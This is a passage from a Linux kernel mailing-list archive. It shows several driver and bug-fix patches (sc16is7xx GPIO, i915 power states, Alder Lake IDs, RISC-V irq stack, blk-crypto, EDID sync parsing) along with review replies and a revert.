static const struct sc16is7xx_devtype sc16is752_devtype = {
.name = "SC16IS752",
- .nr_gpio = 0,
+ .nr_gpio = 8,
.nr_uart = 2,
- .has_mctrl = 1,
};
static const struct sc16is7xx_devtype sc16is760_devtype = {
.name = "SC16IS760",
- .nr_gpio = 4,
+ .nr_gpio = 8,
.nr_uart = 1,
- .has_mctrl = 1,
};
static const struct sc16is7xx_devtype sc16is762_devtype = {
.name = "SC16IS762",
- .nr_gpio = 0,
+ .nr_gpio = 8,
.nr_uart = 2,
- .has_mctrl = 1,
};
static bool sc16is7xx_regmap_volatile(struct device *dev, unsigned int reg)
@@ -1350,8 +1348,98 @@ static int sc16is7xx_gpio_direction_output(struct gpio_chip *chip,
return 0;
}
+
+static int sc16is7xx_gpio_init_valid_mask(struct gpio_chip *chip,
+ unsigned long *valid_mask,
+ unsigned int ngpios)
+{
+ struct sc16is7xx_port *s = gpiochip_get_data(chip);
+
+ *valid_mask = s->gpio_valid_mask;
+
+ return 0;
+}
+
+static int sc16is7xx_setup_gpio_chip(struct sc16is7xx_port *s)
+{
+ struct device *dev = s->p[0].port.dev;
+
+ if (!s->devtype->nr_gpio)
+ return 0;
+
+ switch (s->mctrl_mask) {
+ case 0:
+ s->gpio_valid_mask = GENMASK(7, 0);
+ break;
+ case SC16IS7XX_IOCONTROL_MODEM_A_BIT:
+ s->gpio_valid_mask = GENMASK(3, 0);
+ break;
+ case SC16IS7XX_IOCONTROL_MODEM_B_BIT:
+ s->gpio_valid_mask = GENMASK(7, 4);
+ break;
+ default:
+ break;
+ }
+
+ if (s->gpio_valid_mask == 0)
+ return 0;
+
+ s->gpio.owner = THIS_MODULE;
+ s->gpio.parent = dev;
+ s->gpio.label = dev_name(dev);
+ s->gpio.init_valid_mask = sc16is7xx_gpio_init_valid_mask;
+ s->gpio.direction_input = sc16is7xx_gpio_direction_input;
+ s->gpio.get = sc16is7xx_gpio_get;
+ s->gpio.direction_output = sc16is7xx_gpio_direction_output;
+ s->gpio.set = sc16is7xx_gpio_set;
+ s->gpio.base = -1;
+ s->gpio.ngpio = s->devtype->nr_gpio;
+ s->gpio.can_sleep = 1;
+
+ return gpiochip_add_data(&s->gpio, s);
+}
#endif
+/*
+ * Configure ports designated to operate as modem control lines.
+ */
+static int sc16is7xx_setup_mctrl_ports(struct sc16is7xx_port *s)
+{
+ int i;
+ int ret;
+ int count;
+ u32 mctrl_port[2];
+ struct device *dev = s->p[0].port.dev;
+
+ count = device_property_count_u32(dev, "nxp,modem-control-line-ports");
+ if (count < 0 || count > ARRAY_SIZE(mctrl_port))
+ return 0;
+
+ ret = device_property_read_u32_array(dev, "nxp,modem-control-line-ports",
+ mctrl_port, count);
+ if (ret)
+ return ret;
+
+ s->mctrl_mask = 0;
+
+ for (i = 0; i < count; i++) {
+ /* Use GPIO lines as modem control lines */
+ if (mctrl_port[i] == 0)
+ s->mctrl_mask |= SC16IS7XX_IOCONTROL_MODEM_A_BIT;
+ else if (mctrl_port[i] == 1)
+ s->mctrl_mask |= SC16IS7XX_IOCONTROL_MODEM_B_BIT;
+ }
+
+ if (s->mctrl_mask)
+ regmap_update_bits(
+ s->regmap,
+ SC16IS7XX_IOCONTROL_REG << SC16IS7XX_REG_SHIFT,
+ SC16IS7XX_IOCONTROL_MODEM_A_BIT |
+ SC16IS7XX_IOCONTROL_MODEM_B_BIT, s->mctrl_mask);
+
+ return 0;
+}
+
static const struct serial_rs485 sc16is7xx_rs485_supported = {
.flags = SER_RS485_ENABLED | SER_RS485_RTS_AFTER_SEND,
.delay_rts_before_send = 1,
@@ -1464,12 +1552,6 @@ static int sc16is7xx_probe(struct device *dev,
SC16IS7XX_EFCR_RXDISABLE_BIT |
SC16IS7XX_EFCR_TXDISABLE_BIT);
- /* Use GPIO lines as modem status registers */
- if (devtype->has_mctrl)
- sc16is7xx_port_write(&s->p[i].port,
- SC16IS7XX_IOCONTROL_REG,
- SC16IS7XX_IOCONTROL_MODEM_BIT);
-
/* Initialize kthread work structs */
kthread_init_work(&s->p[i].tx_work, sc16is7xx_tx_proc);
kthread_init_work(&s->p[i].reg_work, sc16is7xx_reg_proc);
@@ -1507,23 +1589,14 @@ static int sc16is7xx_probe(struct device *dev,
s->p[u].irda_mode = true;
}
+ ret = sc16is7xx_setup_mctrl_ports(s);
+ if (ret)
+ goto out_ports;
+
#ifdef CONFIG_GPIOLIB
- if (devtype->nr_gpio) {
- /* Setup GPIO cotroller */
- s->gpio.owner = THIS_MODULE;
- s->gpio.parent = dev;
- s->gpio.label = dev_name(dev);
- s->gpio.direction_input = sc16is7xx_gpio_direction_input;
- s->gpio.get = sc16is7xx_gpio_get;
- s->gpio.direction_output = sc16is7xx_gpio_direction_output;
- s->gpio.set = sc16is7xx_gpio_set;
- s->gpio.base = -1;
- s->gpio.ngpio = devtype->nr_gpio;
- s->gpio.can_sleep = 1;
- ret = gpiochip_add_data(&s->gpio, s);
- if (ret)
- goto out_ports;
- }
+ ret = sc16is7xx_setup_gpio_chip(s);
+ if (ret)
+ goto out_ports;
#endif
/*
@@ -1546,7 +1619,7 @@ static int sc16is7xx_probe(struct device *dev,
return 0;
#ifdef CONFIG_GPIOLIB
- if (devtype->nr_gpio)
+ if (s->gpio_valid_mask)
gpiochip_remove(&s->gpio);
#endif
@@ -1570,7 +1643,7 @@ static void sc16is7xx_remove(struct device *dev)
int i;
#ifdef CONFIG_GPIOLIB
- if (s->devtype->nr_gpio)
+ if (s->gpio_valid_mask)
gpiochip_remove(&s->gpio);
#endif
--
2.30.2
2 years, 4 months
- 2
- 1
[PATCH v2] drm/i915/dgfx: Enable d3cold at s2idle
by Anshuman Gupta
System wide suspend already has support for lmem save/restore during
suspend therefore enabling d3cold for s2idle and keepng it disable for
runtime PM.(Refer below commit for d3cold runtime PM disable justification)
'commit 66eb93e71a7a ("drm/i915/dgfx: Keep PCI autosuspend control
'on' by default on all dGPU")'
It will reduce the DG2 Card power consumption to ~0 Watt
for s2idle power KPI.
v2:
- Added "Cc: stable(a)vger.kernel.org".
Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8755
Cc: stable(a)vger.kernel.org
Cc: Rodrigo Vivi <rodrigo.vivi(a)intel.com>
Signed-off-by: Anshuman Gupta <anshuman.gupta(a)intel.com>
Reviewed-by: Rodrigo Vivi <rodrigo.vivi(a)intel.com>
---
drivers/gpu/drm/i915/i915_driver.c | 33 ++++++++++++++++--------------
1 file changed, 18 insertions(+), 15 deletions(-)
diff --git a/drivers/gpu/drm/i915/i915_driver.c b/drivers/gpu/drm/i915/i915_driver.c
index b870c0df081a..ec4d26b3c17c 100644
--- a/drivers/gpu/drm/i915/i915_driver.c
+++ b/drivers/gpu/drm/i915/i915_driver.c
@@ -443,7 +443,6 @@ static int i915_pcode_init(struct drm_i915_private *i915)
static int i915_driver_hw_probe(struct drm_i915_private *dev_priv)
{
struct pci_dev *pdev = to_pci_dev(dev_priv->drm.dev);
- struct pci_dev *root_pdev;
int ret;
if (i915_inject_probe_failure(dev_priv))
@@ -557,15 +556,6 @@ static int i915_driver_hw_probe(struct drm_i915_private *dev_priv)
intel_bw_init_hw(dev_priv);
- /*
- * FIXME: Temporary hammer to avoid freezing the machine on our DGFX
- * This should be totally removed when we handle the pci states properly
- * on runtime PM and on s2idle cases.
- */
- root_pdev = pcie_find_root_port(pdev);
- if (root_pdev)
- pci_d3cold_disable(root_pdev);
-
return 0;
err_opregion:
@@ -591,7 +581,6 @@ static int i915_driver_hw_probe(struct drm_i915_private *dev_priv)
static void i915_driver_hw_remove(struct drm_i915_private *dev_priv)
{
struct pci_dev *pdev = to_pci_dev(dev_priv->drm.dev);
- struct pci_dev *root_pdev;
i915_perf_fini(dev_priv);
@@ -599,10 +588,6 @@ static void i915_driver_hw_remove(struct drm_i915_private *dev_priv)
if (pdev->msi_enabled)
pci_disable_msi(pdev);
-
- root_pdev = pcie_find_root_port(pdev);
- if (root_pdev)
- pci_d3cold_enable(root_pdev);
}
/**
@@ -1519,6 +1504,8 @@ static int intel_runtime_suspend(struct device *kdev)
{
struct drm_i915_private *dev_priv = kdev_to_i915(kdev);
struct intel_runtime_pm *rpm = &dev_priv->runtime_pm;
+ struct pci_dev *pdev = to_pci_dev(dev_priv->drm.dev);
+ struct pci_dev *root_pdev;
struct intel_gt *gt;
int ret, i;
@@ -1570,6 +1557,15 @@ static int intel_runtime_suspend(struct device *kdev)
drm_err(&dev_priv->drm,
"Unclaimed access detected prior to suspending\n");
+ /*
+ * FIXME: Temporary hammer to avoid freezing the machine on our DGFX
+ * This should be totally removed when we handle the pci states properly
+ * on runtime PM.
+ */
+ root_pdev = pcie_find_root_port(pdev);
+ if (root_pdev)
+ pci_d3cold_disable(root_pdev);
+
rpm->suspended = true;
/*
@@ -1608,6 +1604,8 @@ static int intel_runtime_resume(struct device *kdev)
{
struct drm_i915_private *dev_priv = kdev_to_i915(kdev);
struct intel_runtime_pm *rpm = &dev_priv->runtime_pm;
+ struct pci_dev *pdev = to_pci_dev(dev_priv->drm.dev);
+ struct pci_dev *root_pdev;
struct intel_gt *gt;
int ret, i;
@@ -1621,6 +1619,11 @@ static int intel_runtime_resume(struct device *kdev)
intel_opregion_notify_adapter(dev_priv, PCI_D0);
rpm->suspended = false;
+
+ root_pdev = pcie_find_root_port(pdev);
+ if (root_pdev)
+ pci_d3cold_enable(root_pdev);
+
if (intel_uncore_unclaimed_mmio(&dev_priv->uncore))
drm_dbg(&dev_priv->drm,
"Unclaimed access during suspend, bios?\n");
--
2.25.1
2 years, 4 months
- 4
- 3
[PATCH RESEND 0/3] Add support for Intel Alder Lake PCH
by Alexander Ofitserov
This patch series enables support of i2c bus for Intel Alder Lake PCH-P and PCH-M
on kernel version 5.10. These patches add ID's of Alder lake platform in these
drivers: i801, intel-lpss, pinctrl. ID's were taken from linux kernel version 5.15.
Alexander Ofitserov (3):
i2c: i801: Add support for Intel Alder Lake PCH
mfd: intel-lpss: Add Alder Lake's PCI devices IDs
pinctrl: tigerlake: Add Alder Lake-P ACPI ID
drivers/i2c/busses/i2c-i801.c | 8 +++++
drivers/mfd/intel-lpss-pci.c | 41 +++++++++++++++++++++++
drivers/pinctrl/intel/pinctrl-tigerlake.c | 1 +
3 files changed, 50 insertions(+)
--
2.33.8
2 years, 4 months
- 2
- 4
[PATCH V2 0/2] riscv: stack: Fixup independent softirq/irq stack for CONFIG_FRAME_POINTER=n
by guoren＠kernel.org
From: Guo Ren <guoren(a)linux.alibaba.com>
The independent softirq/irq stack uses s0 to save & restore sp, but s0
would be corrupted when CONFIG_FRAME_POINTER=n. So add s0 in the clobber
list to fix the problem.
<+0>: addi sp,sp,-32
<+2>: sd s0,16(sp)
<+4>: sd s1,8(sp)
<+6>: sd ra,24(sp)
<+8>: sd s2,0(sp)
<+10>: mv s0,a0 --> compiler allocate s0 for a0 when CONFIG_FRAME_POINTER=n
<+12>: jal ra,0xffffffff800bc0ce <irqentry_enter>
<+16>: ld a5,56(tp) # 0x38
<+20>: lui a4,0x4
<+22>: mv s1,a0
<+24>: xor a5,a5,sp
<+28>: bgeu a5,a4,0xffffffff800bc092 <do_irq+88>
<+32>: auipc s2,0x5d
<+36>: ld s2,1118(s2) # 0xffffffff801194b8 <irq_stack_ptr>
<+40>: add s2,s2,a4
<+42>: addi sp,sp,-8
<+44>: sd ra,0(sp)
<+46>: addi sp,sp,-8
<+48>: sd s0,0(sp)
<+50>: addi s0,sp,16 --> our code clobber the s0
<+52>: mv sp,s2
<+54>: mv a0,s0 --> a0 got wrong value for handle_riscv_irq
<+56>: jal ra,0xffffffff800bbb3a <handle_riscv_irq>
Changelog:
V2
- Fixup compile error with CONFIG_FRAME_POINTER=y
- FIxup stable(a)vger.kernel.org tag
Guo Ren (2):
riscv: stack: Fixup independent irq stack for CONFIG_FRAME_POINTER=n
riscv: stack: Fixup independent softirq stack for
CONFIG_FRAME_POINTER=n
arch/riscv/kernel/irq.c | 3 +++
arch/riscv/kernel/traps.c | 3 +++
2 files changed, 6 insertions(+)
--
2.36.1
2 years, 4 months
- 3
- 4
Re: [PATCH v2 2/2] drm/edid: Fix "Analog composite sync!" for current eDP display panels
by Jani Nikula
On Thu, 17 Aug 2023, Dirk Lehmann <develop(a)dj-l.de> wrote:
> VESA Enhanced EDID Standard does not clearly describe how display
> panel vendors should setup the Sync Signal Defintions (bit 4 & 3) in
> the Detailed Timing Definition (relative offset 17, absolute offset
> 47h[+18]) for Digital Video Signal Interfaces (bit 7 at offset 14h).
>
> In practice many eDP panels which using a Digital Video Signal
> Interfaces (bit 7 at offset 14h == 1) are leaving the Sync Signal
> Defintions at offset 47h[+18] blank 0x00, which would mean concerned
> with the VESA Standard [1] that they are using "Analog Composite
> Sync".
>
> Fix: Just detect Analog Sync Signal if an Analog Video Signal
> Interface (bit 7 at offset 14h == 0) is in use. Just detect
> Digital Sync Signal if an Digital Video Signal Interface is in
> use.
>
> Reference: [1] VESA Enhanced EDID Standard, Release A, Rev.2, Page 35
Please don't reply with patches in-reply-to other people's patches.
> Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8789
This is now fixed by the revert that I just pushed.
> Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8146
I don't think this patch fixes that one; see below.
> Signed-off-by: Dirk Lehmann <develop(a)dj-l.de>
> ---
> drivers/gpu/drm/drm_edid.c | 74 ++++++++++++++++++++++++++++++++------
> include/drm/drm_edid.h | 12 +++++--
> 2 files changed, 73 insertions(+), 13 deletions(-)
>
> diff --git a/drivers/gpu/drm/drm_edid.c b/drivers/gpu/drm/drm_edid.c
> index 1f470968ed14..6afdc34e55ce 100644
> --- a/drivers/gpu/drm/drm_edid.c
> +++ b/drivers/gpu/drm/drm_edid.c
> @@ -3437,6 +3437,7 @@ static struct drm_display_mode *drm_mode_detailed(struct drm_connector *connecto
> const struct drm_display_info *info = &connector->display_info;
> struct drm_device *dev = connector->dev;
> struct drm_display_mode *mode;
> + const struct edid *edid = drm_edid->edid;
> const struct detailed_pixel_timing *pt = &timing->data.pixel_data;
> unsigned hactive = (pt->hactive_hblank_hi & 0xf0) << 4 | pt->hactive_lo;
> unsigned vactive = (pt->vactive_vblank_hi & 0xf0) << 4 | pt->vactive_lo;
> @@ -3456,10 +3457,6 @@ static struct drm_display_mode *drm_mode_detailed(struct drm_connector *connecto
> connector->base.id, connector->name);
> return NULL;
> }
> - if (!(pt->misc & DRM_EDID_PT_SEPARATE_SYNC)) {
> - drm_dbg_kms(dev, "[CONNECTOR:%d:%s] Composite sync not supported\n",
> - connector->base.id, connector->name);
> - }
>
> /* it is incorrect if hsync/vsync width is zero */
> if (!hsync_pulse_width || !vsync_pulse_width) {
> @@ -3505,11 +3502,68 @@ static struct drm_display_mode *drm_mode_detailed(struct drm_connector *connecto
>
> if (info->quirks & EDID_QUIRK_DETAILED_SYNC_PP) {
> mode->flags |= DRM_MODE_FLAG_PHSYNC | DRM_MODE_FLAG_PVSYNC;
> + } else if (edid->input & DRM_EDID_INPUT_DIGITAL) {
> + /* !info->quirks && edid->input == DIGITAL */
> + switch (pt->misc & DRM_EDID_PT_SYNC_MASK) {
> + /* VESA Enhanced EDID Standard, Release A, Rev.2, Page 35
> + *
> + * CASE DRM_EDID_PT_ANALOG_CSYNC:
> + *
> + * (pt->misc & DRM_EDID_PT_SYNC_MASK == 0x00) means
> + * "Analog Composite Sync" as described in VESA
> + * Standard. But many digital display panels without
> + * composite sync are also using 0x00 here.
> + *
> + * Therefore use DEFAULT: as we are currently on an
> + * digital video signal interface.
> + */
> + case DRM_EDID_PT_DIGITAL_CSYNC:
> + drm_dbg_kms(dev,
> + "[CONNECTOR:%d:%s] Digital composite sync!\n",
> + connector->base.id, connector->name);
> + mode->flags |= DRM_MODE_FLAG_CSYNC;
> + mode->flags |= (pt->misc & DRM_EDID_PT_HSYNC_POSITIVE) ?
> + DRM_MODE_FLAG_PCSYNC : DRM_MODE_FLAG_NCSYNC;
> + break;
> + case DRM_EDID_PT_DIGITAL_SEPARATE_SYNC:
> + drm_dbg_kms(dev,
> + "[CONNECTOR:%d:%s] Digital seperate sync!\n",
> + connector->base.id, connector->name);
> + goto digital_default;
> + break; /* Missing BREAK throws a compiler warning */
fallthrough; will do the trick.
> + default:
> +digital_default:
> + mode->flags |= (pt->misc & DRM_EDID_PT_HSYNC_POSITIVE) ?
> + DRM_MODE_FLAG_PHSYNC : DRM_MODE_FLAG_NHSYNC;
> + mode->flags |= (pt->misc & DRM_EDID_PT_VSYNC_POSITIVE) ?
> + DRM_MODE_FLAG_PVSYNC : DRM_MODE_FLAG_NVSYNC;
The failing mode in bug [1] has 0x0a for flags, so it ends up here, and
for that display this patch is a no-op.
As I explained in [2], all the problematic cases have invalid data, but
the ones fixed by the revert need to ignore the analog sync *flags* and
accept the mode, and the display in [1] needs to have the whole *mode*
rejected.
[1] https://gitlab.freedesktop.org/drm/intel/-/issues/8146
[2] https://gitlab.freedesktop.org/drm/intel/-/issues/8789#note_2047902
> + break;
> + }
> } else {
> - mode->flags |= (pt->misc & DRM_EDID_PT_HSYNC_POSITIVE) ?
> - DRM_MODE_FLAG_PHSYNC : DRM_MODE_FLAG_NHSYNC;
> - mode->flags |= (pt->misc & DRM_EDID_PT_VSYNC_POSITIVE) ?
> - DRM_MODE_FLAG_PVSYNC : DRM_MODE_FLAG_NVSYNC;
> + /* !info->quirks && edid->input == ANALOG */
> + switch (pt->misc & DRM_EDID_PT_SYNC_MASK) {
> + /* VESA Enhanced EDID Standard, Release A, Rev.2, Page 35
> + *
> + * CASE DRM_EDID_PT_ANALOG_CSYNC:
> + *
> + * (pt->misc & DRM_EDID_PT_SYNC_MASK == 0x00) for
> + * "Analog Composite Sync" is possible here, as we are
> + * currently on an analog video signal interface.
> + */
> + case DRM_EDID_PT_ANALOG_CSYNC:
> + case DRM_EDID_PT_BIPOLAR_ANALOG_CSYNC:
> + drm_dbg_kms(dev,
> + "[CONNECTOR:%d:%s] Analog composite sync!\n",
> + connector->base.id, connector->name);
> + mode->flags |= DRM_MODE_FLAG_CSYNC | DRM_MODE_FLAG_NCSYNC;
> + break;
> + default:
> + mode->flags |= (pt->misc & DRM_EDID_PT_HSYNC_POSITIVE) ?
> + DRM_MODE_FLAG_PHSYNC : DRM_MODE_FLAG_NHSYNC;
> + mode->flags |= (pt->misc & DRM_EDID_PT_VSYNC_POSITIVE) ?
> + DRM_MODE_FLAG_PVSYNC : DRM_MODE_FLAG_NVSYNC;
> + break;
> + }
Another angle is that for analog displays, EDID offset 0x14 has info
about the supported sync modes. If we're separating digital/analog sync
handling, we should probably filter the analog sync with the info from
0x14.
BR,
Jani.
> }
>
> set_size:
> @@ -3522,8 +3576,8 @@ static struct drm_display_mode *drm_mode_detailed(struct drm_connector *connecto
> }
>
> if (info->quirks & EDID_QUIRK_DETAILED_USE_MAXIMUM_SIZE) {
> - mode->width_mm = drm_edid->edid->width_cm * 10;
> - mode->height_mm = drm_edid->edid->height_cm * 10;
> + mode->width_mm = edid->width_cm * 10;
> + mode->height_mm = edid->height_cm * 10;
> }
>
> mode->type = DRM_MODE_TYPE_DRIVER;
> diff --git a/include/drm/drm_edid.h b/include/drm/drm_edid.h
> index 48e93f909ef6..169755d3de19 100644
> --- a/include/drm/drm_edid.h
> +++ b/include/drm/drm_edid.h
> @@ -61,9 +61,15 @@ struct std_timing {
> u8 vfreq_aspect;
> } __attribute__((packed));
>
> -#define DRM_EDID_PT_HSYNC_POSITIVE (1 << 1)
> -#define DRM_EDID_PT_VSYNC_POSITIVE (1 << 2)
> -#define DRM_EDID_PT_SEPARATE_SYNC (3 << 3)
> +#define DRM_EDID_PT_SYNC_MASK (3 << 3)
> +# define DRM_EDID_PT_ANALOG_CSYNC (0 << 3)
> +# define DRM_EDID_PT_BIPOLAR_ANALOG_CSYNC (1 << 3)
> +# define DRM_EDID_PT_DIGITAL_CSYNC (2 << 3)
> +# define DRM_EDID_PT_CSYNC_ON_RGB (1 << 1) /* analog csync only */
> +# define DRM_EDID_PT_CSYNC_SERRATE (1 << 2)
> +# define DRM_EDID_PT_DIGITAL_SEPARATE_SYNC (3 << 3)
> +# define DRM_EDID_PT_HSYNC_POSITIVE (1 << 1) /* also digital csync */
> +# define DRM_EDID_PT_VSYNC_POSITIVE (1 << 2)
> #define DRM_EDID_PT_STEREO (1 << 5)
> #define DRM_EDID_PT_INTERLACED (1 << 7)
--
Jani Nikula, Intel Open Source Graphics Center
2 years, 4 months
- 2
- 1
[PATCH v4] blk-crypto: dynamically allocate fallback profile
by Sweet Tea Dorminy
blk_crypto_profile_init() calls lockdep_register_key(), which warns and
does not register if the provided memory is a static object.
blk-crypto-fallback currently has a static blk_crypto_profile and calls
blk_crypto_profile_init() thereupon, resulting in the warning and
failure to register.
Fortunately it is simple enough to use a dynamically allocated profile
and make lockdep function correctly.
Fixes: 2fb48d88e77f ("blk-crypto: use dynamic lock class for blk_crypto_profile::lock")
Cc: stable(a)vger.kernel.org
Signed-off-by: Sweet Tea Dorminy <sweettea-kernel(a)dorminy.me>
---
v4: removed a stray change introduced in v3
v3: added allocation error checking as noted by Eric Biggers.
v2: reworded commit message, fixed Fixes tag, as pointed out by Eric
Biggers.
block/blk-crypto-fallback.c | 34 +++++++++++++++++++++-------------
1 file changed, 21 insertions(+), 13 deletions(-)
diff --git a/block/blk-crypto-fallback.c b/block/blk-crypto-fallback.c
index ad9844c5b40c..59e54a264a43 100644
--- a/block/blk-crypto-fallback.c
+++ b/block/blk-crypto-fallback.c
@@ -78,7 +78,7 @@ static struct blk_crypto_fallback_keyslot {
struct crypto_skcipher *tfms[BLK_ENCRYPTION_MODE_MAX];
} *blk_crypto_keyslots;
-static struct blk_crypto_profile blk_crypto_fallback_profile;
+static struct blk_crypto_profile *blk_crypto_fallback_profile;
static struct workqueue_struct *blk_crypto_wq;
static mempool_t *blk_crypto_bounce_page_pool;
static struct bio_set crypto_bio_split;
@@ -292,7 +292,7 @@ static bool blk_crypto_fallback_encrypt_bio(struct bio **bio_ptr)
* Get a blk-crypto-fallback keyslot that contains a crypto_skcipher for
* this bio's algorithm and key.
*/
- blk_st = blk_crypto_get_keyslot(&blk_crypto_fallback_profile,
+ blk_st = blk_crypto_get_keyslot(blk_crypto_fallback_profile,
bc->bc_key, &slot);
if (blk_st != BLK_STS_OK) {
src_bio->bi_status = blk_st;
@@ -395,7 +395,7 @@ static void blk_crypto_fallback_decrypt_bio(struct work_struct *work)
* Get a blk-crypto-fallback keyslot that contains a crypto_skcipher for
* this bio's algorithm and key.
*/
- blk_st = blk_crypto_get_keyslot(&blk_crypto_fallback_profile,
+ blk_st = blk_crypto_get_keyslot(blk_crypto_fallback_profile,
bc->bc_key, &slot);
if (blk_st != BLK_STS_OK) {
bio->bi_status = blk_st;
@@ -499,7 +499,7 @@ bool blk_crypto_fallback_bio_prep(struct bio **bio_ptr)
return false;
}
- if (!__blk_crypto_cfg_supported(&blk_crypto_fallback_profile,
+ if (!__blk_crypto_cfg_supported(blk_crypto_fallback_profile,
&bc->bc_key->crypto_cfg)) {
bio->bi_status = BLK_STS_NOTSUPP;
return false;
@@ -526,7 +526,7 @@ bool blk_crypto_fallback_bio_prep(struct bio **bio_ptr)
int blk_crypto_fallback_evict_key(const struct blk_crypto_key *key)
{
- return __blk_crypto_evict_key(&blk_crypto_fallback_profile, key);
+ return __blk_crypto_evict_key(blk_crypto_fallback_profile, key);
}
static bool blk_crypto_fallback_inited;
@@ -534,7 +534,6 @@ static int blk_crypto_fallback_init(void)
{
int i;
int err;
- struct blk_crypto_profile *profile = &blk_crypto_fallback_profile;
if (blk_crypto_fallback_inited)
return 0;
@@ -545,18 +544,25 @@ static int blk_crypto_fallback_init(void)
if (err)
goto out;
- err = blk_crypto_profile_init(profile, blk_crypto_num_keyslots);
- if (err)
+ /* Dynamic allocation is needed because of lockdep_register_key(). */
+ blk_crypto_fallback_profile =
+ kzalloc(sizeof(*blk_crypto_fallback_profile), GFP_KERNEL);
+ if (!blk_crypto_fallback_profile)
goto fail_free_bioset;
+
+ err = blk_crypto_profile_init(blk_crypto_fallback_profile,
+ blk_crypto_num_keyslots);
+ if (err)
+ goto fail_free_profile;
err = -ENOMEM;
- profile->ll_ops = blk_crypto_fallback_ll_ops;
- profile->max_dun_bytes_supported = BLK_CRYPTO_MAX_IV_SIZE;
+ blk_crypto_fallback_profile->ll_ops = blk_crypto_fallback_ll_ops;
+ blk_crypto_fallback_profile->max_dun_bytes_supported = BLK_CRYPTO_MAX_IV_SIZE;
/* All blk-crypto modes have a crypto API fallback. */
for (i = 0; i < BLK_ENCRYPTION_MODE_MAX; i++)
- profile->modes_supported[i] = 0xFFFFFFFF;
- profile->modes_supported[BLK_ENCRYPTION_MODE_INVALID] = 0;
+ blk_crypto_fallback_profile->modes_supported[i] = 0xFFFFFFFF;
+ blk_crypto_fallback_profile->modes_supported[BLK_ENCRYPTION_MODE_INVALID] = 0;
blk_crypto_wq = alloc_workqueue("blk_crypto_wq",
WQ_UNBOUND | WQ_HIGHPRI |
@@ -597,7 +603,9 @@ static int blk_crypto_fallback_init(void)
fail_free_wq:
destroy_workqueue(blk_crypto_wq);
fail_destroy_profile:
- blk_crypto_profile_destroy(profile);
+ blk_crypto_profile_destroy(blk_crypto_fallback_profile);
+fail_free_profile:
+ kfree(blk_crypto_fallback_profile);
fail_free_bioset:
bioset_exit(&crypto_bio_split);
out:
--
2.41.0
2 years, 4 months
- 2
- 2
Re: [PATCH v2 2/2] drm/edid: Fix "Analog composite sync!" for current eDP display panels
by kernel test robot
Hi,
Thanks for your patch.
FYI: kernel test robot notices the stable kernel rule is not satisfied.
Rule: 'Cc: stable(a)vger.kernel.org' or 'commit <sha1> upstream.'
Subject: [PATCH v2 2/2] drm/edid: Fix "Analog composite sync!" for current eDP display panels
Link: https://lore.kernel.org/stable/E1qWbpR-0007ey-0B%40djlnb.local
The check is based on https://www.kernel.org/doc/html/latest/process/stable-kernel-rules.html
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
2 years, 4 months
- 1
- 0
[PATCH] Revert "drm/edid: Fix csync detailed mode parsing"
by Jani Nikula
This reverts commit ca62297b2085b5b3168bd891ca24862242c635a1.
Commit ca62297b2085 ("drm/edid: Fix csync detailed mode parsing") fixed
EDID detailed mode sync parsing. Unfortunately, there are quite a few
displays out there that have bogus (zero) sync field that are broken by
the change. Zero means analog composite sync, which is not right for
digital displays, and the modes get rejected. Regardless, it used to
work, and it needs to continue to work. Revert the change.
Rejecting modes with analog composite sync was the part that fixed the
gitlab issue 8146 [1]. We'll need to get back to the drawing board with
that.
[1] https://gitlab.freedesktop.org/drm/intel/-/issues/8146
Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8789
Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8930
Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/9044
Fixes: ca62297b2085 ("drm/edid: Fix csync detailed mode parsing")
Cc: Ville Syrjälä <ville.syrjala(a)linux.intel.com>
Cc: dri-devel(a)lists.freedesktop.org
Cc: <stable(a)vger.kernel.org> # v6.4+
Signed-off-by: Jani Nikula <jani.nikula(a)intel.com>
---
drivers/gpu/drm/drm_edid.c | 29 ++++++++---------------------
include/drm/drm_edid.h | 12 +++---------
2 files changed, 11 insertions(+), 30 deletions(-)
diff --git a/drivers/gpu/drm/drm_edid.c b/drivers/gpu/drm/drm_edid.c
index f95152fac427..340da8257b51 100644
--- a/drivers/gpu/drm/drm_edid.c
+++ b/drivers/gpu/drm/drm_edid.c
@@ -3457,6 +3457,10 @@ static struct drm_display_mode *drm_mode_detailed(struct drm_connector *connecto
connector->base.id, connector->name);
return NULL;
}
+ if (!(pt->misc & DRM_EDID_PT_SEPARATE_SYNC)) {
+ drm_dbg_kms(dev, "[CONNECTOR:%d:%s] Composite sync not supported\n",
+ connector->base.id, connector->name);
+ }
/* it is incorrect if hsync/vsync width is zero */
if (!hsync_pulse_width || !vsync_pulse_width) {
@@ -3503,27 +3507,10 @@ static struct drm_display_mode *drm_mode_detailed(struct drm_connector *connecto
if (info->quirks & EDID_QUIRK_DETAILED_SYNC_PP) {
mode->flags |= DRM_MODE_FLAG_PHSYNC | DRM_MODE_FLAG_PVSYNC;
} else {
- switch (pt->misc & DRM_EDID_PT_SYNC_MASK) {
- case DRM_EDID_PT_ANALOG_CSYNC:
- case DRM_EDID_PT_BIPOLAR_ANALOG_CSYNC:
- drm_dbg_kms(dev, "[CONNECTOR:%d:%s] Analog composite sync!\n",
- connector->base.id, connector->name);
- mode->flags |= DRM_MODE_FLAG_CSYNC | DRM_MODE_FLAG_NCSYNC;
- break;
- case DRM_EDID_PT_DIGITAL_CSYNC:
- drm_dbg_kms(dev, "[CONNECTOR:%d:%s] Digital composite sync!\n",
- connector->base.id, connector->name);
- mode->flags |= DRM_MODE_FLAG_CSYNC;
- mode->flags |= (pt->misc & DRM_EDID_PT_HSYNC_POSITIVE) ?
- DRM_MODE_FLAG_PCSYNC : DRM_MODE_FLAG_NCSYNC;
- break;
- case DRM_EDID_PT_DIGITAL_SEPARATE_SYNC:
- mode->flags |= (pt->misc & DRM_EDID_PT_HSYNC_POSITIVE) ?
- DRM_MODE_FLAG_PHSYNC : DRM_MODE_FLAG_NHSYNC;
- mode->flags |= (pt->misc & DRM_EDID_PT_VSYNC_POSITIVE) ?
- DRM_MODE_FLAG_PVSYNC : DRM_MODE_FLAG_NVSYNC;
- break;
- }
+ mode->flags |= (pt->misc & DRM_EDID_PT_HSYNC_POSITIVE) ?
+ DRM_MODE_FLAG_PHSYNC : DRM_MODE_FLAG_NHSYNC;
+ mode->flags |= (pt->misc & DRM_EDID_PT_VSYNC_POSITIVE) ?
